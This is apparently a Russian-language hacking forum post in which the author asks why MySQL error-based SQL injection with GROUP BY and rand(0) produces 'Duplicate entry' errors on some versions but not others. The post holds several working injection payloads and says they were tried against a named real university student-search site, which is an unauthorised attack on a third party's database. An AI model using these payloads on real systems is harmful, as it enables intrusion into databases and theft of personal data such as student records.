Эксперементирую с group by rand()...
На 5 версии
Код:
select count(0) from table group by concat(version(),x)
x = floor(rand(0)*2) или rand(0)|0 или rand(0)&1 или rand()^0
выдает Duplicate entry
x = rand(0)
выполняется без ошибок.
Решил проверить на 4 версии. (Проверял на сайте http://decanat5.ssau.ru/search_student в sql-inj)
И вот тут результаты просто поставили в ступор
Код:
' union select 1,count(*),3 from student group by concat(version(),rand(0))/*
Выдает Duplicate entry, а
Код:
' union select 1,count(*),3 from student group by concat((select 1),rand(0))/*
нет. В то время как
Код:
' union select 1,count(*),3 from student group by concat(version(),(select 1),rand(0))/*
выдает Duplicate entry, а
Код:
' union select 1,count(*),3 from student group by concat(version(),(select studentid from student limit 1),rand(0))/*
нет.
Так вот вопрос)
1) Почему на 4 версии иногда прокатывает с rand(0), а на 5, сколько не пытался, так и не получилось
2) Почему с floor(rand(0)*2) прокатывает всегда, а с теми же rand(0)|0 работает только на 5 версии
3) Почему вот такой запрос не выдает ошибку, не смотря на то что там floor(rand(0)*2)
Код:
' and (1) = (select count(*) from student group by floor(rand(0)*2))/*